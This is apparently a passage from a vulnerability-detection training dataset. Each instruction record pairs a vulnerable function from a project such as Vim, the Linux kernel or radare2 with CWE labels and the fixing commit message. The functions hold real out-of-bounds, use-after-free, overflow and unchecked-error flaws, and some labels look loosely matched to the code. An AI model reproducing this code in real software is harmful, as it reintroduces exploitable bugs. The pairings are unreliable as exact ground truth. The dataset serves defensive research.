compile_eval(p, &cctx);\n\t\t break;\n\n\t case CMD_echo:\n\t case CMD_echon:\n\t case CMD_execute:\n\t case CMD_echomsg:\n\t case CMD_echoerr:\n\t case CMD_echoconsole:\n\t\t line = compile_mult_expr(p, ea.cmdidx, &cctx);\n\t\t break;\n\n\t case CMD_put:\n\t\t ea.cmd = cmd;\n\t\t line = compile_put(p, &ea, &cctx);\n\t\t break;\n\n\t case CMD_substitute:\n\t\t if (check_global_and_subst(ea.cmd, p) == FAIL)\n\t\t\tgoto erret;\n\t\t if (cctx.ctx_skip == SKIP_YES)\n\t\t\tline = (char_u *)\"\";\n\t\t else\n\t\t {\n\t\t\tea.arg = p;\n\t\t\tline = compile_substitute(line, &ea, &cctx);\n\t\t }\n\t\t break;\n\n\t case CMD_redir:\n\t\t ea.arg = p;\n\t\t line = compile_redir(line, &ea, &cctx);\n\t\t break;\n\n\t case CMD_cexpr:\n\t case CMD_lexpr:\n\t case CMD_caddexpr:\n\t case CMD_laddexpr:\n\t case CMD_cgetexpr:\n\t case CMD_lgetexpr:\n#ifdef FEAT_QUICKFIX\n\t\t ea.arg = p;\n\t\t line = compile_cexpr(line, &ea, &cctx);\n#else\n\t\t ex_ni(&ea);\n\t\t line = NULL;\n#endif\n\t\t break;\n\n\t case CMD_append:\n\t case CMD_change:\n\t case CMD_insert:\n\t case CMD_k:\n\t case CMD_t:\n\t case CMD_xit:\n\t\t not_in_vim9(&ea);\n\t\t goto erret;\n\n\t case CMD_SIZE:\n\t\t if (cctx.ctx_skip != SKIP_YES)\n\t\t {\n\t\t\tsemsg(_(e_invalid_command_str), ea.cmd);\n\t\t\tgoto erret;\n\t\t }\n\t\t // We don't check for a next command here.\n\t\t line = (char_u *)\"\";\n\t\t break;\n\n\t case CMD_lua:\n\t case CMD_mzscheme:\n\t case CMD_perl:\n\t case CMD_py3:\n\t case CMD_python3:\n\t case CMD_python:\n\t case CMD_pythonx:\n\t case CMD_ruby:\n\t case CMD_tcl:\n\t\t ea.arg = p;\n\t\t if (vim_strchr(line, '\\n') == NULL)\n\t\t\tline = compile_exec(line, &ea, &cctx);\n\t\t else\n\t\t\t// heredoc lines have been concatenated with NL\n\t\t\t// characters in get_function_body()\n\t\t\tline = compile_script(line, &cctx);\n\t\t break;\n\n\t case CMD_global:\n\t\t if (check_global_and_subst(ea.cmd, p) == FAIL)\n\t\t\tgoto erret;\n\t\t // FALLTHROUGH\n\t default:\n\t\t // Not recognized, execute with do_cmdline_cmd().\n\t\t ea.arg = p;\n\t\t line = compile_exec(line, &ea, &cctx);\n\t\t break;\n\t}\nnextline:\n\tif (line == NULL)\n\t goto erret;\n\tline = skipwhite(line);\n\n\t// Undo any command modifiers.\n\tgenerate_undo_cmdmods(&cctx);\n\n\tif (cctx.ctx_type_stack.ga_len < 0)\n\t{\n\t iemsg(\"Type stack underflow\");\n\t goto erret;\n\t}\n }\n\n if (cctx.ctx_scope != NULL)\n {\n\tif (cctx.ctx_scope->se_type == IF_SCOPE)\n\t emsg(_(e_missing_endif));\n\telse if (cctx.ctx_scope->se_type == WHILE_SCOPE)\n\t emsg(_(e_missing_endwhile));\n\telse if (cctx.ctx_scope->se_type == FOR_SCOPE)\n\t emsg(_(e_missing_endfor));\n\telse\n\t emsg(_(e_missing_rcurly));\n\tgoto erret;\n }\n\n if (!cctx.ctx_had_return)\n {\n\tif (ufunc->uf_ret_type->tt_type == VAR_UNKNOWN)\n\t ufunc->uf_ret_type = &t_void;\n\telse if (ufunc->uf_ret_type->tt_type != VAR_VOID)\n\t{\n\t emsg(_(e_missing_return_statement));\n\t goto erret;\n\t}\n\n\t// Return void if there is no return at the end.\n\tgenerate_instr(&cctx, ISN_RETURN_VOID);\n }\n\n // When compiled with \":silent!\" and there was an error don't consider the\n // function compiled.\n if (emsg_silent == 0 || did_emsg_silent == did_emsg_silent_before)\n {\n\tdfunc_T\t*dfunc = ((dfunc_T *)def_functions.ga_data)\n\t\t\t\t\t\t\t + ufunc->uf_dfunc_idx;\n\tdfunc->df_deleted = FALSE;\n\tdfunc->df_script_seq = current_sctx.sc_seq;\n#ifdef FEAT_PROFILE\n\tif (cctx.ctx_compile_type == CT_PROFILE)\n\t{\n\t dfunc->df_instr_prof = instr->ga_data;\n\t dfunc->df_instr_prof_count = instr->ga_len;\n\t}\n\telse\n#endif\n\tif (cctx.ctx_compile_type == CT_DEBUG)\n\t{\n\t dfunc->df_instr_debug = instr->ga_data;\n\t dfunc->df_instr_debug_count = instr->ga_len;\n\t}\n\telse\n\t{\n\t dfunc->df_instr = instr->ga_data;\n\t dfunc->df_instr_count = instr->ga_len;\n\t}\n\tdfunc->df_varcount = dfunc->df_var_names.ga_len;\n\tdfunc->df_has_closure = cctx.ctx_has_closure;\n\tif (cctx.ctx_outer_used)\n\t ufunc->uf_flags |= FC_CLOSURE;\n\tufunc->uf_def_status = UF_COMPILED;\n }\n\n ret = OK;\n\nerret:\n if (ufunc->uf_def_status == UF_COMPILING)\n {\n\tdfunc_T\t*dfunc = ((dfunc_T *)def_functions.ga_data)\n\t\t\t\t\t\t\t + ufunc->uf_dfunc_idx;\n\n\t// Compiling aborted, free the generated instructions.\n\tclear_instr_ga(instr);\n\tVIM_CLEAR(dfunc->df_name);\n\tga_clear_strings(&dfunc->df_var_names);\n\n\t// If using the last entry in the table and it was added above, we\n\t// might as well remove it.\n\tif (!dfunc->df_deleted && new_def_function\n\t\t\t && ufunc->uf_dfunc_idx == def_functions.ga_len - 1)\n\t{\n\t --def_functions.ga_len;\n\t ufunc->uf_dfunc_idx = 0;\n\t}\n\tufunc->uf_def_status = UF_COMPILE_ERROR;\n\n\twhile (cctx.ctx_scope != NULL)\n\t drop_scope(&cctx);\n\n\tif (errormsg != NULL)\n\t emsg(errormsg);\n\telse if (did_emsg == did_emsg_before)\n\t emsg(_(e_compiling_def_function_failed));\n }\n\n if (cctx.ctx_redir_lhs.lhs_name != NULL)\n {\n\tif (ret == OK)\n\t{\n\t emsg(_(e_missing_redir_end));\n\t ret = FAIL;\n\t}\n\tvim_free(cctx.ctx_redir_lhs.lhs_name);\n\tvim_free(cctx.ctx_redir_lhs.lhs_whole);\n }\n\n current_sctx = save_current_sctx;\n estack_compiling = save_estack_compiling;\n cmdmod.cmod_flags =\tsave_cmod_flags;\n if (do_estack_push)\n\testack_pop();\n\n vim_free(line_to_free);\n free_imported(&cctx);\n free_locals(&cctx);\n ga_clear(&cctx.ctx_type_stack);\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'patch 8.2.4009: reading one byte beyond the end of the line\n\nProblem: Reading one byte beyond the end of the line.\nSolution: Check for NUL byte first.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct ucounts *alloc_ucounts(struct user_namespace *ns, kuid_t uid)\n{\n\tstruct hlist_head *hashent = ucounts_hashentry(ns, uid);\n\tstruct ucounts *ucounts, *new;\n\tbool wrapped;\n\n\tspin_lock_irq(&ucounts_lock);\n\tucounts = find_ucounts(ns, uid, hashent);\n\tif (!ucounts) {\n\t\tspin_unlock_irq(&ucounts_lock);\n\n\t\tnew = kzalloc(sizeof(*new), GFP_KERNEL);\n\t\tif (!new)\n\t\t\treturn NULL;\n\n\t\tnew->ns = ns;\n\t\tnew->uid = uid;\n\t\tatomic_set(&new->count, 1);\n\n\t\tspin_lock_irq(&ucounts_lock);\n\t\tucounts = find_ucounts(ns, uid, hashent);\n\t\tif (ucounts) {\n\t\t\tkfree(new);\n\t\t} else {\n\t\t\thlist_add_head(&new->node, hashent);\n\t\t\tspin_unlock_irq(&ucounts_lock);\n\t\t\treturn new;\n\t\t}\n\t}\n\twrapped = !get_ucounts_or_wrap(ucounts);\n\tspin_unlock_irq(&ucounts_lock);\n\tif (wrapped) {\n\t\tput_ucounts(ucounts);\n\t\treturn NULL;\n\t}\n\treturn ucounts;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'ucount: Make get_ucount a safe get_user replacement\n\nWhen the ucount code was refactored to create get_ucount it was missed\nthat some of the contexts in which a rlimit is kept elevated can be\nthe only reference to the user/ucount in the system.\n\nOrdinary ucount references exist in places that also have a reference\nto the user namspace, but in POSIX message queues, the SysV shm code,\nand the SIGPENDING code there is no independent user namespace\nreference.\n\nInspection of the the user_namespace show no instance of circular\nreferences between struct ucounts and the user_namespace. So\nhold a reference from struct ucount to i's user_namespace to\nresolve this problem.\n\nLink: https://lore.kernel.org/lkml/YZV7Z+yXbsx9p3JN@fixkernel.com/\nReported-by: Qian Cai \nReported-by: Mathias Krause \nTested-by: Mathias Krause \nReviewed-by: Mathias Krause \nReviewed-by: Alexey Gladkov \nFixes: d64696905554 (\"Reimplement RLIMIT_SIGPENDING on top of ucounts\")\nFixes: 6e52a9f0532f (\"Reimplement RLIMIT_MSGQUEUE on top of ucounts\")\nFixes: d7c9e99aee48 (\"Reimplement RLIMIT_MEMLOCK on top of ucounts\")\nCc: stable@vger.kernel.org\nSigned-off-by: \"Eric W. Biederman\" '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: tabstop_set(char_u *var, int **array)\n{\n int\t valcount = 1;\n int\t t;\n char_u *cp;\n\n if (var[0] == NUL || (var[0] == '0' && var[1] == NUL))\n {\n\t*array = NULL;\n\treturn OK;\n }\n\n for (cp = var; *cp != NUL; ++cp)\n {\n\tif (cp == var || cp[-1] == ',')\n\t{\n\t char_u *end;\n\n\t if (strtol((char *)cp, (char **)&end, 10) <= 0)\n\t {\n\t\tif (cp != end)\n\t\t emsg(_(e_argument_must_be_positive));\n\t\telse\n\t\t semsg(_(e_invalid_argument_str), cp);\n\t\treturn FAIL;\n\t }\n\t}\n\n\tif (VIM_ISDIGIT(*cp))\n\t continue;\n\tif (cp[0] == ',' && cp > var && cp[-1] != ',' && cp[1] != NUL)\n\t{\n\t ++valcount;\n\t continue;\n\t}\n\tsemsg(_(e_invalid_argument_str), var);\n\treturn FAIL;\n }\n\n *array = ALLOC_MULT(int, valcount + 1);\n if (*array == NULL)\n\treturn FAIL;\n (*array)[0] = valcount;\n\n t = 1;\n for (cp = var; *cp != NUL;)\n {\n\tint n = atoi((char *)cp);\n\n\t// Catch negative values, overflow and ridiculous big values.\n\tif (n < 0 || n > 9999)\n\t{\n\t semsg(_(e_invalid_argument_str), cp);\n\t vim_free(*array);\n\t *array = NULL;\n\t return FAIL;\n\t}\n\t(*array)[t++] = n;\n\twhile (*cp != NUL && *cp != ',')\n\t ++cp;\n\tif (*cp != NUL)\n\t ++cp;\n }\n\n return OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-122', 'CWE-787'], 'message': 'patch 8.2.4245: \":retab 0\" may cause illegal memory access\n\nProblem: \":retab 0\" may cause illegal memory access.\nSolution: Limit the value of 'tabstop' to 10000.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: null_asynch_zero (struct rw *rw, struct command *command,\n nbd_completion_callback cb, bool allocate)\n{\n int dummy = 0;\n\n if (cb.callback (cb.user_data, &dummy) == -1) {\n perror (rw->name);\n exit (EXIT_FAILURE);\n }\n return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-252'], 'message': 'copy: CVE-2022-0485: Fail nbdcopy if NBD read or write fails\n\nnbdcopy has a nasty bug when performing multi-threaded copies using\nasynchronous nbd calls - it was blindly treating the completion of an\nasynchronous command as successful, rather than checking the *error\nparameter. This can result in the silent creation of a corrupted\nimage in two different ways: when a read fails, we blindly wrote\ngarbage to the destination; when a write fails, we did not flag that\nthe destination was not written.\n\nSince nbdcopy already calls exit() on a synchronous read or write\nfailure to a file, doing the same for an asynchronous op to an NBD\nserver is the simplest solution. A nicer solution, but more invasive\nto code and thus not done here, might be to allow up to N retries of\nthe transaction (in case the read or write failure was transient), or\neven having a mode where as much data is copied as possible (portions\nof the copy that failed would be logged on stderr, and nbdcopy would\nstill fail with a non-zero exit status, but this would copy more than\njust stopping at the first error, as can be done with rsync or\nddrescue).\n\nNote that since we rely on auto-retiring and do NOT call\nnbd_aio_command_completed, our completion callbacks must always return\n1 (if they do not exit() first), even when acting on *error, so as not\nleave the command allocated until nbd_close. As such, there is no\nsane way to return an error to a manual caller of the callback, and\ntherefore we can drop dead code that calls perror() and exit() if the\ncallback \"failed\". It is also worth documenting the contract on when\nwe must manually call the callback during the asynch_zero callback, so\nthat we do not leak or double-free the command; thankfully, all the\nexisting code paths were correct.\n\nThe added testsuite script demonstrates several scenarios, some of\nwhich fail without the rest of this patch in place, and others which\nshowcase ways in which sparse images can bypass errors.\n\nOnce backports are complete, a followup patch on the main branch will\nedit docs/libnbd-security.pod with the mailing list announcement of\nthe stable branch commit ids and release versions that incorporate\nthis fix.\n\nReported-by: Nir Soffer \nFixes: bc896eec4d (\"copy: Implement multi-conn, multiple threads, multiple requests in flight.\", v1.5.6)\nFixes: https://bugzilla.redhat.com/2046194\nMessage-Id: <20220203202558.203013-6-eblake@redhat.com>\nAcked-by: Richard W.M. Jones \nAcked-by: Nir Soffer \n[eblake: fix error message per Nir, tweak requires lines in unit test per Rich]\nReviewed-by: Laszlo Ersek '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadaddr, Sdb *sdb) {\n\tRBuffer *fbuf = r_buf_ref (buf);\n\tstruct MACH0_(opts_t) opts;\n\tMACH0_(opts_set_default) (&opts, bf);\n\tstruct MACH0_(obj_t) *main_mach0 = MACH0_(new_buf) (fbuf, &opts);\n\tif (!main_mach0) {\n\t\treturn false;\n\t}\n\n\tRRebaseInfo *rebase_info = r_rebase_info_new_from_mach0 (fbuf, main_mach0);\n\tRKernelCacheObj *obj = NULL;\n\n\tRPrelinkRange *prelink_range = get_prelink_info_range_from_mach0 (main_mach0);\n\tif (!prelink_range) {\n\t\tgoto beach;\n\t}\n\n\tobj = R_NEW0 (RKernelCacheObj);\n\tif (!obj) {\n\t\tR_FREE (prelink_range);\n\t\tgoto beach;\n\t}\n\n\tRCFValueDict *prelink_info = NULL;\n\tif (main_mach0->hdr.filetype != MH_FILESET && prelink_range->range.size) {\n\t\tprelink_info = r_cf_value_dict_parse (fbuf, prelink_range->range.offset,\n\t\t\t\tprelink_range->range.size, R_CF_OPTION_SKIP_NSDATA);\n\t\tif (!prelink_info) {\n\t\t\tR_FREE (prelink_range);\n\t\t\tR_FREE (obj);\n\t\t\tgoto beach;\n\t\t}\n\t}\n\n\tif (!pending_bin_files) {\n\t\tpending_bin_files = r_list_new ();\n\t\tif (!pending_bin_files) {\n\t\t\tR_FREE (prelink_range);\n\t\t\tR_FREE (obj);\n\t\t\tR_FREE (prelink_info);\n\t\t\tgoto beach;\n\t\t}\n\t}\n\n\tobj->mach0 = main_mach0;\n\tobj->rebase_info = rebase_info;\n\tobj->prelink_info = prelink_info;\n\tobj->cache_buf = fbuf;\n\tobj->pa2va_exec = prelink_range->pa2va_exec;\n\tobj->pa2va_data = prelink_range->pa2va_data;\n\n\tR_FREE (prelink_range);\n\n\t*bin_obj = obj;\n\n\tr_list_push (pending_bin_files, bf);\n\n\tif (rebase_info || main_mach0->chained_starts) {\n\t\tRIO *io = bf->rbin->iob.io;\n\t\tswizzle_io_read (obj, io);\n\t}\n\n\treturn true;\n\nbeach:\n\tr_buf_free (fbuf);\n\tobj->cache_buf = NULL;\n\tMACH0_(mach0_free) (main_mach0);\n\treturn false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fix null deref in xnu.kernelcache ##crash\n\n* Reported by @xshad3 via huntr.dev'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: RawTile KakaduImage::getRegion( int seq, int ang, unsigned int res, int layers, int x, int y, unsigned int w, unsigned int h )\n{\n // Scale up our output bit depth to the nearest factor of 8\n unsigned int obpc = bpc;\n if( bpc <= 16 && bpc > 8 ) obpc = 16;\n else if( bpc <= 8 ) obpc = 8;\n\n#ifdef DEBUG\n Timer timer;\n timer.start();\n#endif\n\n RawTile rawtile( 0, res, seq, ang, w, h, channels, obpc );\n\n if( obpc == 16 ) rawtile.data = new unsigned short[w*h*channels];\n else if( obpc == 8 ) rawtile.data = new unsigned char[w*h*channels];\n else throw file_error( \"Kakadu :: Unsupported number of bits\" );\n\n rawtile.dataLength = w*h*channels*(obpc/8);\n rawtile.filename = getImagePath();\n rawtile.timestamp = timestamp;\n\n process( res, layers, x, y, w, h, rawtile.data );\n\n#ifdef DEBUG\n logfile << \"Kakadu :: getRegion() :: \" << timer.getTime() << \" microseconds\" << endl;\n#endif\n\n return rawtile;\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': '- Modified TileManager.cc to verify that malloc() has correctly allocated memory.\n- Updated numerical types to std::size_t in RawTile.h, TileManager.cc, KakaduImage.cc, OpenJPEG.cc and Transforms.cc when allocating memory via new to avoid integer overflow - fixes remaining problems identified in https://github.com/ruven/iipsrv/issues/223.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char *shell_name_generator(const char *text, int state)\n{\n\tstatic size_t len;\n\tchar *s;\n\n\tif (!state) {\n\t\tsetusershell();\n\t\tlen = strlen(text);\n\t}\n\n\twhile ((s = getusershell())) {\n\t\tif (strncmp(s, text, len) == 0)\n\t\t\treturn xstrdup(s);\n\t}\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-209'], 'message': 'chsh, chfn: remove readline support [CVE-2022-0563]\n\nThe readline library uses INPUTRC= environment variable to get a path\nto the library config file. When the library cannot parse the\nspecified file, it prints an error message containing data from the\nfile.\n\nUnfortunately, the library does not use secure_getenv() (or a similar\nconcept) to avoid vulnerabilities that could occur if set-user-ID or\nset-group-ID programs.\n\nReported-by: Rory Mackie \nSigned-off-by: Karel Zak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: dev_config (struct file *fd, const char __user *buf, size_t len, loff_t *ptr)\n{\n\tstruct dev_data\t\t*dev = fd->private_data;\n\tssize_t\t\t\tvalue, length = len;\n\tunsigned\t\ttotal;\n\tu32\t\t\ttag;\n\tchar\t\t\t*kbuf;\n\n\tspin_lock_irq(&dev->lock);\n\tif (dev->state > STATE_DEV_OPENED) {\n\t\tvalue = ep0_write(fd, buf, len, ptr);\n\t\tspin_unlock_irq(&dev->lock);\n\t\treturn value;\n\t}\n\tspin_unlock_irq(&dev->lock);\n\n\tif ((len < (USB_DT_CONFIG_SIZE + USB_DT_DEVICE_SIZE + 4)) ||\n\t (len > PAGE_SIZE * 4))\n\t\treturn -EINVAL;\n\n\t/* we might need to change message format someday */\n\tif (copy_from_user (&tag, buf, 4))\n\t\treturn -EFAULT;\n\tif (tag != 0)\n\t\treturn -EINVAL;\n\tbuf += 4;\n\tlength -= 4;\n\n\tkbuf = memdup_user(buf, length);\n\tif (IS_ERR(kbuf))\n\t\treturn PTR_ERR(kbuf);\n\n\tspin_lock_irq (&dev->lock);\n\tvalue = -EINVAL;\n\tif (dev->buf) {\n\t\tspin_unlock_irq(&dev->lock);\n\t\tkfree(kbuf);\n\t\treturn value;\n\t}\n\tdev->buf = kbuf;\n\n\t/* full or low speed config */\n\tdev->config = (void *) kbuf;\n\ttotal = le16_to_cpu(dev->config->wTotalLength);\n\tif (!is_valid_config(dev->config, total) ||\n\t\t\ttotal > length - USB_DT_DEVICE_SIZE)\n\t\tgoto fail;\n\tkbuf += total;\n\tlength -= total;\n\n\t/* optional high speed config */\n\tif (kbuf [1] == USB_DT_CONFIG) {\n\t\tdev->hs_config = (void *) kbuf;\n\t\ttotal = le16_to_cpu(dev->hs_config->wTotalLength);\n\t\tif (!is_valid_config(dev->hs_config, total) ||\n\t\t\t\ttotal > length - USB_DT_DEVICE_SIZE)\n\t\t\tgoto fail;\n\t\tkbuf += total;\n\t\tlength -= total;\n\t} else {\n\t\tdev->hs_config = NULL;\n\t}\n\n\t/* could support multiple configs, using another encoding! */\n\n\t/* device descriptor (tweaked for paranoia) */\n\tif (length != USB_DT_DEVICE_SIZE)\n\t\tgoto fail;\n\tdev->dev = (void *)kbuf;\n\tif (dev->dev->bLength != USB_DT_DEVICE_SIZE\n\t\t\t|| dev->dev->bDescriptorType != USB_DT_DEVICE\n\t\t\t|| dev->dev->bNumConfigurations != 1)\n\t\tgoto fail;\n\tdev->dev->bcdUSB = cpu_to_le16 (0x0200);\n\n\t/* triggers gadgetfs_bind(); then we can enumerate. */\n\tspin_unlock_irq (&dev->lock);\n\tif (dev->hs_config)\n\t\tgadgetfs_driver.max_speed = USB_SPEED_HIGH;\n\telse\n\t\tgadgetfs_driver.max_speed = USB_SPEED_FULL;\n\n\tvalue = usb_gadget_probe_driver(&gadgetfs_driver);\n\tif (value != 0) {\n\t\tkfree (dev->buf);\n\t\tdev->buf = NULL;\n\t} else {\n\t\t/* at this point \"good\" hardware has for the first time\n\t\t * let the USB the host see us. alternatively, if users\n\t\t * unplug/replug that will clear all the error state.\n\t\t *\n\t\t * note: everything running before here was guaranteed\n\t\t * to choke driver model style diagnostics. from here\n\t\t * on, they can work ... except in cleanup paths that\n\t\t * kick in after the ep0 descriptor is closed.\n\t\t */\n\t\tvalue = len;\n\t\tdev->gadget_registered = true;\n\t}\n\treturn value;\n\nfail:\n\tspin_unlock_irq (&dev->lock);\n\tpr_debug (\"%s: %s fail %zd, %p\\n\", shortname, __func__, value, dev);\n\tkfree (dev->buf);\n\tdev->buf = NULL;\n\treturn value;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-763'], 'message': 'usb: gadget: clear related members when goto fail\n\ndev->config and dev->hs_config and dev->dev need to be cleaned if\ndev_config fails to avoid UAF.\n\nAcked-by: Alan Stern \nSigned-off-by: Hangyu Hua \nLink: https://lore.kernel.org/r/20211231172138.7993-3-hbh25y@gmail.com\nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: R_API RBinJavaAttrInfo *r_bin_java_inner_classes_attr_new(RBinJavaObj *bin, ut8 *buffer, ut64 sz, ut64 buf_offset) {\n\tRBinJavaClassesAttribute *icattr;\n\tRBinJavaAttrInfo *attr = NULL;\n\tRBinJavaCPTypeObj *obj;\n\tut32 i = 0;\n\tut64 offset = 0, curpos;\n\tattr = r_bin_java_default_attr_new (bin, buffer, sz, buf_offset);\n\toffset += 6;\n\tif (buf_offset + offset + 8 > sz) {\n\t\teprintf (\"Invalid amount of inner classes\\n\");\n\t\treturn NULL;\n\t}\n\tif (attr == NULL) {\n\t\t// TODO eprintf\n\t\treturn attr;\n\t}\n\tattr->type = R_BIN_JAVA_ATTR_TYPE_INNER_CLASSES_ATTR;\n\tattr->info.inner_classes_attr.number_of_classes = R_BIN_JAVA_USHORT (buffer, offset);\n\toffset += 2;\n\tattr->info.inner_classes_attr.classes = r_list_newf (r_bin_java_inner_classes_attr_entry_free);\n\tfor (i = 0; i < attr->info.inner_classes_attr.number_of_classes; i++) {\n\t\tcurpos = buf_offset + offset;\n\t\tif (buf_offset + offset + 8 > sz) {\n\t\t\teprintf (\"Invalid amount of inner classes\\n\");\n\t\t\tbreak;\n\t\t}\n\t\ticattr = R_NEW0 (RBinJavaClassesAttribute);\n\t\tif (!icattr) {\n\t\t\tbreak;\n\t\t}\n\t\ticattr->inner_class_info_idx = R_BIN_JAVA_USHORT (buffer, offset);\n\t\toffset += 2;\n\t\ticattr->outer_class_info_idx = R_BIN_JAVA_USHORT (buffer, offset);\n\t\toffset += 2;\n\t\ticattr->inner_name_idx = R_BIN_JAVA_USHORT (buffer, offset);\n\t\toffset += 2;\n\t\ticattr->inner_class_access_flags = R_BIN_JAVA_USHORT (buffer, offset);\n\t\toffset += 2;\n\t\ticattr->flags_str = retrieve_class_method_access_string (icattr->inner_class_access_flags);\n\t\ticattr->file_offset = curpos;\n\t\ticattr->size = 8;\n\n\t\tobj = r_bin_java_get_item_from_bin_cp_list (R_BIN_JAVA_GLOBAL_BIN, icattr->inner_name_idx);\n\t\tif (!obj) {\n\t\t\teprintf (\"BINCPLIS IS HULL %d\\n\", icattr->inner_name_idx);\n\t\t}\n\t\ticattr->name = r_bin_java_get_item_name_from_bin_cp_list (R_BIN_JAVA_GLOBAL_BIN, obj);\n\t\tif (!icattr->name) {\n\t\t\tobj = r_bin_java_get_item_from_bin_cp_list (R_BIN_JAVA_GLOBAL_BIN, icattr->inner_class_info_idx);\n\t\t\tif (!obj) {\n\t\t\t\teprintf (\"BINCPLIST IS NULL %d\\n\", icattr->inner_class_info_idx);\n\t\t\t}\n\t\t\ticattr->name = r_bin_java_get_item_name_from_bin_cp_list (R_BIN_JAVA_GLOBAL_BIN, obj);\n\t\t\tif (!icattr->name) {\n\t\t\t\ticattr->name = r_str_dup (NULL, \"NULL\");\n\t\t\t\teprintf (\"r_bin_java_inner_classes_attr: Unable to find the name for %d index.\\n\", icattr->inner_name_idx);\n\t\t\t\tfree (icattr);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tIFDBG eprintf (\"r_bin_java_inner_classes_attr: Inner class name %d is %s.\\n\", icattr->inner_name_idx, icattr->name);\n\t\tr_list_append (attr->info.inner_classes_attr.classes, (void *) icattr);\n\t}\n\tattr->size = offset;\n\t// IFDBG r_bin_java_print_inner_classes_attr_summary(attr);\n\treturn attr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-788'], 'message': 'Improve boundary checks to fix oobread segfaults ##crash\n\n* Reported by Cen Zhang via huntr.dev\n* Reproducer: bins/fuzzed/javaoob-havoc.class'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: R_API RBinJavaVerificationObj *r_bin_java_verification_info_from_type(RBinJavaObj *bin, R_BIN_JAVA_STACKMAP_TYPE type, ut32 value) {\n\tRBinJavaVerificationObj *se = R_NEW0 (RBinJavaVerificationObj);\n\tif (!se) {\n\t\treturn NULL;\n\t}\n\tse->tag = type;\n\tif (se->tag == R_BIN_JAVA_STACKMAP_OBJECT) {\n\t\tse->info.obj_val_cp_idx = (ut16) value;\n\t} else if (se->tag == R_BIN_JAVA_STACKMAP_UNINIT) {\n\t\t/*if (bin->offset_sz == 4) {\n\t\tse->info.uninit_offset = value;\n\t\t} else {\n\t\tse->info.uninit_offset = (ut16) value;\n\t\t}*/\n\t\tse->info.uninit_offset = (ut16) value;\n\t}\n\treturn se;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-788'], 'message': 'Improve boundary checks to fix oobread segfaults ##crash\n\n* Reported by Cen Zhang via huntr.dev\n* Reproducer: bins/fuzzed/javaoob-havoc.class'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static pyc_object *get_set_object(RBuffer *buffer) {\n\tpyc_object *ret = NULL;\n\tbool error = false;\n\tut32 n = get_ut32 (buffer, &error);\n\tif (n > ST32_MAX) {\n\t\teprintf (\"bad marshal data (set size out of range)\\n\");\n\t\treturn NULL;\n\t}\n\tif (error) {\n\t\treturn NULL;\n\t}\n\tret = get_array_object_generic (buffer, n);\n\tif (!ret) {\n\t\treturn NULL;\n\t}\n\tret->type = TYPE_SET;\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-825'], 'message': 'Fix UAF in pyc parser ##crash\n\n* Reported by Cen Zhang via huntr.dev\n* Reproducer: bins/fuzzed/harep2.pyc'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: copyString(const XML_Char *s, const XML_Memory_Handling_Suite *memsuite) {\n int charsRequired = 0;\n XML_Char *result;\n\n /* First determine how long the string is */\n while (s[charsRequired] != 0) {\n 